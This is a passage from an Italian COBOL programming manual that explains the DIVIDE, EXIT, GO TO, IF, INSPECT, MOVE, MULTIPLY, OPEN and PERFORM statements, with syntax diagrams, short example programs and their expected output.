001500 PROCEDURE DIVISION.
001600*
001700 MAIN.
001800     DIVIDE 100 BY 3 GIVING A REMAINDER B.
001900     DISPLAY "100 / 3 = ", A, " CON IL RESTO DI ", B.
002000*
002100     STOP RUN.
002200*
```

Una volta compilato questo programma, se viene messo in funzione si dovrebbe ottenere il risultato seguente, che dovrebbe chiarire di che tipo di resto si parla con questa istruzione:

```
100 / 3 = 0000000033.33 CON IL RESTO DI 0000000000.01
```

83.12.8 Istruzione «EXIT»

L'istruzione '**EXIT**' serve a concludere anticipatamente l'esecuzione di un gruppo di paragrafi, attraverso un'istruzione '**PERFORM**'. L'istruzione '**EXIT**' deve essere usata da sola, all'interno di un paragrafo tutto per sé:

```
paragraph-name

    EXIT.
    ----
```

Si osservi che un programma COBOL scritto in modo ordinato non dovrebbe avere bisogno di questa istruzione.

```
000000     PERFORM UNO THRU TRE.
000000     …
000000 UNO.
000000     …
000000 DUE.
000000     …
000000     IF …
000000       THEN
000000           GO TO TRE.
000000     …
000000 TRE.
000000     EXIT.
000000 QUATTRO.
000000     …
```

L'esempio appena mostrato serve a dare un'idea del significato dell'istruzione '**EXIT**': la chiamata iniziale con l'istruzione '**PERFORM**' richiede l'esecuzione sequenziale dei paragrafi da '**UNO**' a '**TRE**', ma nel paragrafo '**DUE**' si verifica una condizione e al suo avverarsi si esegue un salto ('**GO TO**') al paragrafo '**TRE**', che conclude comunque la chiamata principale.

Come già accennato, dal momento che l'uso dell'istruzione '**EXIT**' implica l'utilizzo di '**GO TO**', che notoriamente complica la comprensibilità di un programma in modo eccessivo, entrambe queste istruzioni sono da evitare accuratamente.

83.12.9 Istruzione «GO TO»

L'istruzione '**GO TO**' consente di saltare all'inizio di un paragrafo specificato, senza ritorno. Sono previsti due modi di utilizzo:

```
GO TO  procedure-name
--
```

Oppure:

```
GO TO  { procedure-name }... DEPENDING ON identifier
--                            ---------
```

Nel primo caso, l'esecuzione dell'istruzione passa il controllo al paragrafo indicato; nel secondo, viene scelto il paragrafo a cui passare il controllo in base al valore indicato dopo la parola '**DEPENDING**'. Il valore in questione deve essere un numero intero, rappresentato attraverso una variabile (altrimenti non ci sarebbe motivo di usarlo), dove il valore uno rappresenta il primo paragrafo nominato dopo le parole '**GO TO**' e il valore ***n*** rappresenta il paragrafo ***n***-esimo dello stesso elenco.

L'utilizzo dell'istruzione '**GO TO**' complica la lettura di un programma sorgente COBOL e, secondo il parere di molti, andrebbe abolita. Si veda a questo proposito: Edsger W. Dijkstra, *Go To Statement Considered Harmful*, 1968, ⟨*http://www.acm.org/classics/oct95/*⟩, ⟨*http://www.cs.utsa.edu/~wagner/CS3723/nogoto/harm2.html*⟩ e altri indirizzi.

83.12.10 Istruzione «IF»

L'istruzione '**IF**' consente di eseguire un gruppo di istruzioni solo se si verifica una condizione, o se questa non si verifica. Il formato di questa istruzione è visibile nello schema seguente:

```
                 /                     \  .--      /                     \  --.
                 | { statement-1 }...  |  |        | { statement-2 }...  |    |
    IF  condition <                     >  |  ELSE  <                     >    |
    --           | NEXT SENTENCE       |  |  ----  | NEXT SENTENCE       |    |
                 \ ---- --------       /  '--      \ ---- --------       /  --'
```

Le istruzioni che seguono immediatamente la condizione (***statement-1***), vengono eseguite se la condizione si avvera; le istruzioni del gruppo che segue la parola '**ELSE**' vengono eseguite se la condizione non si avvera. Le istruzioni del primo e del secondo gruppo, possono contenere altre istruzioni '**IF**'.

Si osservi che la parola '**THEN**' è un separatore, ma viene usata spesso per migliorare la lettura di un'istruzione '**IF**':

```
000000 IF ALTEZZA IS GREATER THAN 190
000000   THEN
000000       DISPLAY "LA PERSONA E` MOLTO ALTA!",
000000       PERFORM PERSONA-MOLTO-ALTA;
000000   ELSE
000000       IF ALTEZZA IS GREATER THAN 170
000000         THEN
000000             DISPLAY "LA PERSONA E` ABBASTANZA ALTA.",
000000             PERFORM PERSONA-ALTA;
000000         ELSE
000000             DISPLAY "LA PERSONA HA UN'ALTEZZA MEDIA O BASSA".
```

L'esempio mostra un'istruzione '**IF**' che ne contiene un'altra dopo la parola '**ELSE**'. Si può osservare che il punto fermo che conclude il gruppo di istruzioni appare solo alla fine della prima istruzione '**IF**' e costituisce l'unico modo per poter comprendere dove finisce tutta la struttura. Si osservi che la rappresentazione della struttura con dei rientri appropriati serve per individuare facilmente i livelli di annidamento esistenti.

Data la particolarità di questo esempio, i rientri potrebbero essere gestiti in modo diverso, per sottolineare la presenza di una serie di condizioni alternative ('**ELSE IF**'):

```
000000 IF ALTEZZA IS GREATER THAN 190
000000 THEN
000000     DISPLAY "LA PERSONA E` MOLTO ALTA!",
000000     PERFORM PERSONA-MOLTO-ALTA;
000000 ELSE IF ALTEZZA IS GREATER THAN 170
000000 THEN
000000     DISPLAY "LA PERSONA E` ABBASTANZA ALTA.",
000000     PERFORM PERSONA-ALTA;
000000 ELSE
000000     DISPLAY "LA PERSONA HA UN'ALTEZZA MEDIA O BASSA".
```

83.12.11 Istruzione «INSPECT»

L'istruzione '**`INSPECT`**' consente di scandire una variabile contenente una stringa alfanumerica, allo scopo di contare alcuni caratteri o di rimpiazzare alcuni dei caratteri della stringa. Sono previsti tre schemi sintattici per l'uso di questa istruzione, per il conteggio, la sostituzione, oppure per entrambe le cose simultaneamente.

Conteggio dei caratteri

```
INSPECT identifier-1 TALLYING
-------              --------
    /                    /                                   .-- /          \          /               \ --.  \     \
    |                    |                                   |   |  BEFORE  |          |  identifier-4 |   |  |     |
    |                    |  CHARACTERS                       |   <  ------  >  INITIAL  <               >   |  |     |
    |                    |  ----------                       |   |  AFTER   |          |  literal-2    |   |  |     |
    |                    |                                   '-- \  -----   /          \               / --'  |     |
    <  identifier-2 FOR  <                                                                                    >...  >...
    |               ---  |  /          \  /               \  .-- /          \          /               \ --.  |     |
    |                    |  |  ALL     |  |  identifier-3 |  |   |  BEFORE  |          |  identifier-4 |   |  |     |
    |                    |  <  ---     >  <               >  |   <  ------  >  INITIAL  <               >   |  |     |
    |                    |  |  LEADING |  |  literal-1    |  |   |  AFTER   |          |  literal-2    |   |  |     |
    \                    \  \  ------- /  \               /  '-- \  -----   /          \               / --'  /     /
```

Sostituzione di caratteri

```
INSPECT identifier-1 REPLACING
-------              ---------
    /                                         /                \  .-- /          \           /                \ --.  \
    |                                         |  identifier-5  |  |   |  BEFORE  |           |  identifier-4  |   |  |
    |  CHARACTERS                         BY  <                >  |   <  ------  >  INITIAL  <                >   |  |
    |  ----------                         --  |  literal-3     |  |   |  AFTER   |           |  literal-2     |   |  |
    |                                         \                /  '-- \  -----   /           \                / --'  |
    <                                                                                                                >
    |  /  ALL      \  /                \      /                \  .-- /          \           /                \ --.  |
    |  |  ---      |  |  identifier-3  |      |  identifier-5  |  |   |  BEFORE  |           |  identifier-4  |   |  |
    |  <  LEADING  >  <                >  BY  <                >  |   <  ------  >  INITIAL  <                >   |  |
    |  |  -------  |  |  literal-1     |  --  |  literal-3     |  |   |  AFTER   |           |  literal-2     |   |  |
    \  \  FIRST    /  \                /      \                /  '-- \  -----   /           \                / --'  /
          -----
```

Conteggio e sostituzione

```
INSPECT identifier-1 TALLYING
-------              --------
    /                    /                                   .-- /          \          /               \ --.  \     \
    |                    |                                   |   |  BEFORE  |          |  identifier-4 |   |  |     |
    |                    |  CHARACTERS                       |   <  ------  >  INITIAL  <               >   |  |     |
    |                    |  ----------                       |   |  AFTER   |          |  literal-2    |   |  |     |
    |                    |                                   '-- \  -----   /          \               / --'  |     |
    <  identifier-2 FOR  <                                                                                    >...  >...
    |               ---  |  /          \  /               \  .-- /          \          /               \ --.  |     |
    |                    |  |  ALL     |  |  identifier-3 |  |   |  BEFORE  |          |  identifier-4 |   |  |     |
    |                    |  <  ---     >  <               >  |   <  ------  >  INITIAL  <               >   |  |     |
    |                    |  |  LEADING |  |  literal-1    |  |   |  AFTER   |          |  literal-2    |   |  |     |
    \                    \  \  ------- /  \               /  '-- \  -----   /          \               / --'  /     /

    REPLACING
    ---------
    /                                         /                \  .-- /          \           /                \ --.  \
    |                                         |  identifier-5  |  |   |  BEFORE  |           |  identifier-4  |   |  |
    |  CHARACTERS                         BY  <                >  |   <  ------  >  INITIAL  <                >   |  |
    |  ----------                         --  |  literal-3     |  |   |  AFTER   |           |  literal-2     |   |  |
    |                                         \                /  '-- \  -----   /           \                / --'  |
    <                                                                                                                >
    |  /  ALL      \  /                \      /                \  .-- /          \           /                \ --.  |
    |  |  ---      |  |  identifier-3  |      |  identifier-5  |  |   |  BEFORE  |           |  identifier-4  |   |  |
    |  <  LEADING  >  <                >  BY  <                >  |   <  ------  >  INITIAL  <                >   |  |
    |  |  -------  |  |  literal-1     |  --  |  literal-3     |  |   |  AFTER   |           |  literal-2     |   |  |
    \  \  FIRST    /  \                /      \                /  '-- \  -----   /           \                / --'  /
          -----
```

In tutti gli schemi sintattici, la variabile indicata dopo la parola '**`INSPECT`**', che viene annotata come ***identifier-1***, deve contenere una stringa di caratteri, da scandire.

L'opzione '**`BEFORE`**' o '**`AFTER`**', permette di individuare una posizione nella stringa, da prendere come limite finale, o come punto iniziale, per l'elaborazione. In pratica, la variabile ***identifier-4***, o la costante letterale ***literal-2***, serve a rappresentare una sottostringa (anche un solo carattere), che all'interno della stringa complessiva si trova per prima (a partire da sinistra); se si usa la parola '**`BEFORE`**', l'elaborazione deve avvenire nella parta iniziale della stringa, fino a quella sottostringa di riferimento esclusa; se si usa la parola '**`AFTER`**', l'elaborazione

deve avvenire nella parta finale della stringa, subito dopo quella sottostringa. Naturalmente, se la sottostringa indicata non esiste nella stringa, è come se l'opzione '**BEFORE**' o '**AFTER**' non fosse stata aggiunta.

Con il primo schema sintattico, si vogliono contare i caratteri della stringa che soddisfano certe condizioni. Il conteggio viene eseguito incrementando il valore contenuto nella variabile indicata nello schema come ***identifier-2***, che deve essere numerica. Si osservi che la variabile non viene azzerata automaticamente, pertanto il suo valore iniziale viene sommato al conteggio eseguito.

Il conteggio può riguardare tutti i caratteri della stringa o della porzione iniziale o finale selezionata, utilizzando la parola '**CHARACTERS**'. Si osservi l'esempio successivo che utilizza solo questo tipo di conteggio.

Listato 83.180. Programma elementare che scandisce una stringa e conta i caratteri contenuti.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-INSPECT-TALLYING-1.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500               OPENCOBOL 0.31,
000600 DATE-WRITTEN. 2005-03-15.
000700*
000800 ENVIRONMENT DIVISION.
000900*
001000 DATA DIVISION.
001100*
001200 WORKING-STORAGE SECTION.
001300 77  STRINGA-DI-CARATTERI PIC X(30).
001400 77  CONTATORE-1          PIC 99 VALUE IS 0.
001500 77  CONTATORE-2          PIC 99 VALUE IS 0.
001600 77  CONTATORE-3          PIC 99 VALUE IS 0.
001700*
001800 PROCEDURE DIVISION.
001900*------------------------ LIVELLO 0 ----------------------------
002000 MAIN.
002100     MOVE "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123"
002200          TO STRINGA-DI-CARATTERI.
002300     INSPECT STRINGA-DI-CARATTERI
002400             TALLYING CONTATORE-1
002500             FOR CHARACTERS,
002600             TALLYING CONTATORE-2
002700             FOR CHARACTERS BEFORE INITIAL "H",
002800             TALLYING CONTATORE-3
002900             FOR CHARACTERS AFTER INITIAL "H".
003000     DISPLAY "CONTATORI: ", CONTATORE-1, " ", CONTATORE-2, " ",
003100             CONTATORE-3.
003200     STOP RUN.
```

L'esempio appena mostrato utilizza un'istruzione '**INSPECT**' per contare tre cose in una stringa, con una sola scansione: i caratteri contenuti in tutta la stringa; i caratteri fino alla comparsa della prima lettera «H»; i caratteri che si trovano dopo la lettera «H»:

```
                    30 caratteri
          <---------------------------->
          ABCDEFGHIJKLMNOPQRSTUVWXYZ0123
          <-----> <-------------------->
       7 caratteri      22 caratteri
```

Compilando l'esempio e avviando il programma eseguibile che si ottiene, si dovrebbe vedere il risultato seguente:

```
CONTATORI: 30 07 22
```

Con la parola '**`ALL`**' si intendono contare tutte le corrispondenze con una certa sottostringa (***identifier-3*** o ***literal-1***), contenuta nella stringa complessiva o nella porzione specificata successivamente. Con la parola '**`LEADING`**', si vogliono contare solo le corrispondenze che avvengono in modo contiguo, purché inizino dal principio della zona di interesse.

Listato 83.183. Programma elementare che scandisce una stringa e conta i caratteri che corrispondono a delle sottostringhe.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-INSPECT-TALLYING-2.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500               OPENCOBOL 0.31,
000600 DATE-WRITTEN. 2005-03-15.
000700*
000800 ENVIRONMENT DIVISION.
000900*
001000 DATA DIVISION.
001100*
001200 WORKING-STORAGE SECTION.
001300 77  STRINGA-DI-CARATTERI PIC X(30).
001400 77  CONTATORE-1          PIC 99 VALUE IS 0.
001500 77  CONTATORE-2          PIC 99 VALUE IS 0.
001600 77  CONTATORE-3          PIC 99 VALUE IS 0.
001700*
001800 PROCEDURE DIVISION.
001900*------------------------- LIVELLO 0 -----------------------------
002000 MAIN.
002100     MOVE "ABCDEFGHIAAAABBBBCCCCDDDDEEEEF"
002200          TO STRINGA-DI-CARATTERI.
002300     INSPECT STRINGA-DI-CARATTERI
002400             TALLYING CONTATORE-1
002500             FOR ALL "E",
002600             TALLYING CONTATORE-2
002700             FOR LEADING "A" AFTER INITIAL "I",
002800             TALLYING CONTATORE-3
002900             FOR LEADING "B" BEFORE INITIAL "I".
003000     DISPLAY "CONTATORI: ", CONTATORE-1, " ", CONTATORE-2, " ",
003100             CONTATORE-3.
003200     STOP RUN.
```

In questo esempio viene cercata la corrispondenza con tutte le lettere «E»; le lettere «A»

adiacenti che iniziano a partire dalla prima apparizione della lettera «I»; le lettere «B» adiacenti e iniziali, che si trovano prima di quella stessa lettera «I».

```
                5 lettere «E»
            -------------------------
            |                    ||||
        ABCDEFGHIAAAABBBBCCCCDDDDEEEEF
                |\\\\
                | ¯¯¯¯¯¯4 lettere «A» adiacenti e iniziali
                |
        lettera «I» di riferimento

     Non ci sono lettere «B» adiacenti e iniziali
     prima del riferimento.
```

Compilando l'esempio e avviando il programma eseguibile che si ottiene, si dovrebbe vedere il risultato seguente:

```
CONTATORI: 05 04 00
```

Il secondo schema sintattico mostra l'uso di '**INSPECT**' per rimpiazzare delle sottostringhe. L'interpretazione dello schema è simile a quella del conteggio, con la differenza che si aggiunge la parola chiave '**BY**', che ha alla sinistra la sottostringa da rimpiazzare e alla destra il suo nuovo valore. Quando si usa la parola '**CHARACTERS**', si intende rimpiazzare tutta la stringa (o tutta la porzione prima o dopo un certo riferimento), con qualcosa con un carattere; le parole '**ALL**' e '**LEADING**' funzionano sostanzialmente come nel conteggio, riferendosi a tutte le sottostringhe di un certo tipo o a tutte le sottostringhe iniziali e adiacenti, dello stesso tipo. In questo schema, si aggiunge la parola '**FIRST**', che identifica solo una prima corrispondenza, non ripetuta.

Listato 83.186. Programma che scandisce una stringa e sostituisce alcuni suoi contenuti. Il programma sfrutta un'estensione al linguaggio standard, che permette di eseguire più sostituzioni in una sola istruzione '**INSPECT**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-INSPECT-REPLACING.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500               OPENCOBOL 0.31,
000600 DATE-WRITTEN. 2005-03-15.
000700*
000800 ENVIRONMENT DIVISION.
000900*
001000 DATA DIVISION.
001100*
001200 WORKING-STORAGE SECTION.
001300 77  STRINGA-DI-CARATTERI PIC X(30).
001400*
001500 PROCEDURE DIVISION.
001600*------------------------- LIVELLO 0 -----------------------------
001700 MAIN.
001800     MOVE "AAAAAABBBBBBCCCCCCDDDDDDEEEEEE"
001900          TO STRINGA-DI-CARATTERI.
002000     INSPECT STRINGA-DI-CARATTERI REPLACING
```

```
002100              CHARACTERS BY "X" AFTER INITIAL "DDD",
002200              LEADING "BB" BY "YZ" AFTER INITIAL "AAAAAA",
002300              FIRST "C" BY "W",
002400              ALL "C" BY "P".
002500      DISPLAY STRINGA-DI-CARATTERI.
002600      STOP RUN.
```

L'esempio appena mostrato sfrutta un'estensione al linguaggio tradizionale, in modo da ottenere più sostituzioni con una sola passata. L'esempio fatto in questo modo permette di capire cosa succede in queste situazioni particolari.

```
AAAAAABBBBBBCCCCCCDDDDDDEEEEEE
                     XXXXXXXXX  CHARACTERS BY "X" AFTER INITIAL "DDD"
      YZYZYZ                    LEADING "BB" BY "YZ" AFTER INITIAL "AAAAAA"
            W                   FIRST "C" BY "W"
             PPPPP              ALL "C" BY "P"
AAAAAAYZYZYZWPPPPPDDDXXXXXXXXX
```

Compilando l'esempio e avviando il programma eseguibile che si ottiene, si dovrebbe vedere il risultato seguente che rappresenta soltanto il contenuto finale della variabile elaborata:

```
AAAAAAYZYZYZWPPPPPDDDXXXXXXXXX
```

83.12.12 Istruzione «MOVE»

L'istruzione '**MOVE**' copia o assegna un valore in una o più variabili di destinazione. Sono disponibili due modi di usare questa istruzione:

```
       /              \
       | identifier-1 |
MOVE   <              >  TO  { identifier-2 }...
----   | literal-1    |  --
       \              /
```

Oppure:

```
       /               \
       | CORRESPONDING |
MOVE   < ------------- >  identifier-1  TO  { identifier-2 }...
----   | CORR          |                --
       \ ----          /
```

Nel primo caso, ciò che appare dopo la parola chiave '**MOVE**' può essere il nome di una variabile, oppure una costante. Il valore contenuto nella variabile o rappresentato dalla costante, viene copiato in tutte le variabili indicate dopo la parola '**TO**', rispettando eventualmente le regole di modifica stabilite dai modelli di definizione delle variabili.

Nel secondo caso, avendo aggiunto la parola '**CORRESPONDING**' (o soltanto '**CORR**'), si copia il contenuto di una variabile strutturata in una o più variabili strutturate, abbinando però i campi aventi lo stesso nome. In pratica, con il secondo schema si vogliono copiare i campi della prima variabile strutturata che hanno gli stessi nomi di quelli contenuti nella seconda variabile strutturata. Diversamente, per una copia di una variabile strutturata in altre variabili, mantenendo inalterata la struttura originale dei dati, si usa il primo schema sintattico.

È bene ricordare che in alcuni casi la copia dei dati non può essere eseguita; per esempio non si può assegnare a una variabile numerica un'informazione alfanumerica (tenendo conto che una variabile numerica che contiene delle regole di modifica, all'atto della sua lettura offre un'informazione alfanumerica).

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-MOVE.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-28.
000500
000600 ENVIRONMENT DIVISION.
000700
000800 DATA DIVISION.
000900
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-1.
001200     02 A          PIC 999V99.
001300     02 B          PIC X(10).
001400     02 C          PIC 99999.
001500
001600 01  RECORD-2.
001700     02 C          PIC 9999999.
001800     02 B          PIC X(12).
001900     02 A          PIC 9999V999.
002000
002100 PROCEDURE DIVISION.
002200
002300 MAIN.
002400     MOVE 123.45       TO A OF RECORD-1.
002500     MOVE "ABCDEFGHIJ" TO B OF RECORD-1.
002600     MOVE 12345        TO C OF RECORD-1.
002700     DISPLAY "RECORD-1: ", RECORD-1.
002800     DISPLAY "    A:    ", A OF RECORD-1.
002900     DISPLAY "    B:    ", B OF RECORD-1.
003000     DISPLAY "    C:    ", C OF RECORD-1.
003100
003200     MOVE RECORD-1 TO RECORD-2.
003300     DISPLAY "RECORD-2: ", RECORD-2
003400     DISPLAY "    A:    ", A OF RECORD-2.
003500     DISPLAY "    B:    ", B OF RECORD-2.
003600     DISPLAY "    C:    ", C OF RECORD-2.
003700
003800     MOVE CORRESPONDING RECORD-1 TO RECORD-2.
003900     DISPLAY "RECORD-2: ", RECORD-2
004000     DISPLAY "    A:    ", A OF RECORD-2.
004100     DISPLAY "    B:    ", B OF RECORD-2.
004200     DISPLAY "    C:    ", C OF RECORD-2.
004300
004400     STOP RUN.
```

L'esempio mostra un programma in cui ci sono due variabili strutturate, contenenti campi, simili, con lo stesso nome, ordinati in modo differente. Dopo aver assegnato dei valori ai campi

della prima variabile, il contenuto della variabile viene copiato nella seconda; successivamente, viene ripetuta la copia in modo corrispondente.

Se si compila il programma con OpenCOBOL e si avvia ciò che si ottiene, si dovrebbe vedere un risultato simile a quello seguente, dove si può notare la differenza tra un tipo di copia e l'altra:

```
RECORD-1: 12345ABCDEFGHIJ12345
    A:    123.45
    B:    ABCDEFGHIJ
    C:    12345
RECORD-2: 12345ABCDEFGHIJ12345
    A:    5   .000
    B:    CDEFGHIJ1234
    C:    12345A
RECORD-2: 0012345ABCDEFGHIJ  0123450
    A:    0123.450
    B:    ABCDEFGHIJ
    C:    0012345
```

Si osservi che una variabile di tipo '**INDEX**' non può essere usata con l'istruzione '**MOVE**'. Per assegnare un valore a una tale variabile occorre servirsi dell'istruzione '**SET**'.

83.12.13 Istruzione «MULTIPLY»

L'istruzione '**MULTIPLY**' consente di eseguire delle moltiplicazioni. Sono previsti due diversi formati per l'utilizzo di questa istruzione.

```
            /              \
            | identifier-1 |
MULTIPLY    <              >  BY  { identifier-2 [ROUNDED] }...
--------    | literal-1    |  --                  -------
            \              /

    [ ON SIZE ERROR  imperative-statement ]
         ---- -----
```

Nello schema sintattico appena mostrato, si vede che dopo la parola chiave '**MULTIPLY**' viene indicato un valore, in forma costante o attraverso una variabile; questo valore viene moltiplicato per la variabile indicata dopo la parola chiave '**BY**' e il risultato viene assegnato alla stessa variabile che funge da moltiplicatore. Se appaiono più variabili dopo la parola '**BY**', la moltiplicazione viene ripetuta per ognuna di quelle, assegnando rispettivamente il risultato.

L'opzione '**ROUNDED**' richiede di eseguire un arrotondamento se la variabile ricevente non può rappresentare in modo esatto il valore; l'opzione '**SIZE ERROR**' serve a eseguire un'istruzione nel caso una delle variabili riceventi non possa accogliere la porzione più significativa del valore ottenuto dalla somma. Si osservi l'esempio seguente:

```
000000     MULTIPLY 100 BY A.
```

Supponendo che la variabile '**A**', prima della divisione contenga il valore 5, dopo l'operazione

contiene il valore 500 (100×5). Si potrebbe scrivere la stessa cosa utilizzando l'istruzione '**COMPUTE**':

```
000000     COMPUTE A = 100 * A.
```

Lo schema sintattico successivo mostra l'utilizzo di '**MULTIPLY**' in modo da non alterare i valori utilizzati come moltiplicatori:

```
             /              \        /              \
             | identifier-1 |        | identifier-2 |
MULTIPLY     <              >   BY   <              >
--------     | literal-1    |   --   | literal-2    |
             \              /        \              /

    GIVING identifier-3  [ROUNDED]
    ------                -------
    [ ON SIZE ERROR  imperative-statement ]
         ---- -----
```

Nella forma appena mostrata, la moltiplicazione avviene immettendo il risultato dell'operazione nella variabile indicata dopo la parola '**GIVING**'. Valgono le stesse considerazioni già fatte a proposito delle opzioni '**ROUNDED**' e '**SIZE ERROR**'. Si osservi l'esempio seguente che ripete sostanzialmente l'esempio già mostrato in precedenza:

```
000000     MULTIPLY 100 BY 5 GIVING A.
```

83.12.14 Istruzione «OPEN»

L'istruzione '**OPEN**' serve ad aprire un file, o un gruppo di file, specificando la modalità di accesso. Quando l'accesso a un file richiede l'esecuzione di alcune procedure meccaniche preliminari, questa istruzione serve a eseguirle. L'istruzione '**OPEN**' non riguarda i file dichiarati esplicitamente per il riordino e la fusione.

```
       /  INPUT   { file-name  [ WITH NO REWIND ] }...  \
       |  -----                         -- ------        |
       |  OUTPUT  { file-name  [ WITH NO REWIND ] }...  |
OPEN   <  ------                        -- ------        >...
----   |  I-O     { file-name }...                       |
       |  ---                                            |
       \  EXTEND  { file-name }...                       /
          ------
```

Dopo la parola chiave '**OPEN**' inizia l'elenco dei file che si vogliono aprire, cominciando con la parola chiave che definisce la modalità di accesso desiderata: '**INPUT**' richiede un accesso in lettura; '**OUTPUT**' un accesso in scrittura; '**I-O**' un accesso in lettura e scrittura; '**EXTEND**' un accesso in estensione (scrittura).

Il tipo di accesso consentito dipende dall'organizzazione dei file o dalla modalità di accesso; nelle versioni più vecchie del linguaggio, l'apertura in estensione ('**EXTEND**') può essere usata soltanto per i file sequenziali; l'apertura in lettura e scrittura ('**I-O**') richiede che il file sia collocato in un'unità di memorizzazione ad accesso diretto, come nel caso dei dischi.

L'opzione '**NO REWIND**' si riferisce al riavvolgimento automatico del nastro, che riguarda, evidentemente, solo file sequenziali su unità ad accesso sequenziale, che possono richiedere

un'operazione di riavvolgimento. Se si usa questa opzione, si intende evitare che il nastro venga riavvolto automaticamente alla chiusura del file stesso. Per i file su disco, o comunque su unità ad accesso diretto, anche se si tratta di file con organizzazione sequenziale, questa opzione non deve essere usata.

Quando un file viene aperto (con questa istruzione) è possibile accedervi secondo la modalità prevista, con le istruzioni appropriate. L'apertura va eseguita una sola volta e la chiusura (con l'istruzione '**`CLOSE`**') dichiara la conclusione delle operazioni con quel file. Se un file deve essere riaperto all'interno del programma, probabilmente perché vi si vuole accedere secondo una modalità differente, o per altri motivi, è necessario che alla chiusura non sia utilizzata l'opzione '**`lock`**', che altrimenti impedirebbe di farlo.

L'apertura in lettura che si ottiene con la parola chiave '**`READ`**' serve ad accedere a un file esistente in modo da poter leggere il suo contenuto; l'apertura fa sì che la posizione relativa, iniziale, all'interno del file, corrisponda al primo record logico. Se il file non esiste, si presenta una condizione di errore.

L'apertura in scrittura che si ottiene con la parola chiave '**`OUTPUT`**' serve a **creare** un file, ma se il file esiste già, questo viene azzerato completamente.

L'apertura in lettura e scrittura che si ottiene con la parola chiave '**`I-O`**' serve a permettere l'accesso a un file esistente, sia per leggere i dati, sia per modificarli. La posizione relativa iniziale è quella del primo record logico.

L'apertura in estensione che si ottiene con la parola chiave '**`EXTEND`**', può essere utilizzata soltanto con file sequenziali e serve a consentire l'aggiunta di record a partire dalla fine del file iniziale. Pertanto, il puntatore relativo iniziale si trova dopo la fine dell'ultimo record logico e l'utilizzo di questo file avviene nello stesso modo di un'apertura in scrittura, con la differenza che il contenuto precedente non viene cancellato.

Se il file che viene aperto è associato a una variabile indicata con l'opzione '**`FILE STATUS`**' nell'istruzione '**`SELECT`**' (nella sezione '**`FILE-CONTROL`**' di '**`ENVIRONMENT DIVISION`**'), il valore di tale variabile viene aggiornato.

Tabella 83.199. File con organizzazione sequenziale (e accesso sequenziale).

Istruzione	Apertura in lettura ('**`INPUT`**')	Apertura in scrittura ('**`OUTPUT`**')	Apertura in lettura e scrittura ('**`I-O`**')	Apertura in estensione ('**`EXTEND`**')
`READ`	X		X	
`WRITE`		X		X
`REWRITE`			X	

Tabella 83.200. File con organizzazione relativa o a indice, con accesso sequenziale.

Istruzione	Apertura in lettura (‘**INPUT**’)	Apertura in scrittura (‘**OUTPUT**’)	Apertura in lettura e scrittura (‘**I-O**’)
`READ`	X		X
`WRITE`		X	
`REWRITE`			X
`START`	X		X
`DELETE`			X

Tabella 83.201. File con organizzazione relativa o a indice, con accesso diretto (*random*).

Istruzione	Apertura in lettura (‘**INPUT**’)	Apertura in scrittura (‘**OUTPUT**’)	Apertura in lettura e scrittura (‘**I-O**’)
`READ`	X		X
`WRITE`		X	X
`REWRITE`			X
`START`			
`DELETE`			X

Tabella 83.202. File con organizzazione relativa o a indice, con accesso dinamico.

Istruzione	Apertura in lettura (‘**INPUT**’)	Apertura in scrittura (‘**OUTPUT**’)	Apertura in lettura e scrittura (‘**I-O**’)
`READ`	X		X
`WRITE`		X	X
`REWRITE`			X
`START`	X		X
`DELETE`			X

83.12.15 Istruzione «PERFORM»

L’istruzione ‘**PERFORM**’ consente di eseguire un gruppo di istruzioni, contenute all’interno di sezioni o di paragrafi della divisione ‘**PROCEDURE DIVISION**’, riprendendo poi il funzionamento nell’istruzione successiva.

Sono disponibili schemi sintattici diversi, perché la chiamata di queste procedure può essere gestita in maniere differenti. In effetti, questa istruzione è il mezzo con cui realizzare delle iterazioni, normali e con enumerazione, pertanto si rende necessaria questa flessibilità da parte dell’istruzione ‘**PERFORM**’.

Nelle sezioni successive vengono descritte le varie forme di utilizzo dell'istruzione '**PERFORM**', per livelli successivi di complessità. Si tenga conto che la spiegazione riguardo al funzionamento per un certo livello, riguarda anche quelli più complessi successivi.

83.12.15.1 Chiamata semplice

```
                               .--  /           \                --.
                               |    |  THROUGH  |                  |
PERFORM  procedure-name-1      |    <  -------  >  procedure-name-2 |
-------                        |    |  THRU     |                  |
                               '--  \  ----     /                --'
```

Secondo la forma di utilizzo più semplice dell'istruzione '**PERFORM**', la chiamata esegue una volta sola l'intervallo di procedure indicate. Per procedure qui si intendono dei paragrafi, oppure delle sezioni intere della divisione '**PROCEDURE DIVISION**'.

Se si indica soltanto un nome (di paragrafo o di sezione), si intende eseguire solo la procedura relativa; se si indica la parola '**THROUGH**' o '**THRU**' seguita da un altro nome, si intendono eseguire tutti i paragrafi o tutte le sezioni dal primo al secondo nome incluso.

Il fatto che la chiamata di una procedura avvenga in modo così libero, implica la necessità di stabilire delle restrizioni alle chiamate annidate: una procedura, o un insieme di procedure chiamate attraverso l'istruzione '**PERFORM**', possono contenere delle chiamate annidate. Queste chiamate interne, per poter essere eseguite correttamente, devono riguardare delle procedure più interne, oppure completamente esterne.

Figura 83.204. Schematizzazione delle forme di annidamento consentite e di quella non consentita (sbarrata).

A PERFORM B THRU C
B
C PERFORM D THRU F
D
E
F

A PERFORM B THRU F
B
C
D
E PERFORM B THRU C
F

A PERFORM B THRU C
B
C
D
E PERFORM C THRU D
F

A PERFORM B THRU D
B
C PERFORM D THRU F
D
E
F
NO!

La figura mostra schematicamente i vari modi in cui le istruzioni '**`PERFORM`**' possono annidarsi, o possono in qualche modo riguardare le stesse porzioni di codice. L'ultimo esempio, in basso a destra, non è ammissibile perché la chiamata dei paragrafi da '**`D`**' a '**`F`**' verrebbe interrotta alla conclusione del paragrafo '**`D`**', con il rientro dalla prima istruzione '**`PERFORM`**'.

83.12.15.2 Chiamata ripetuta un certo numero di volte

```
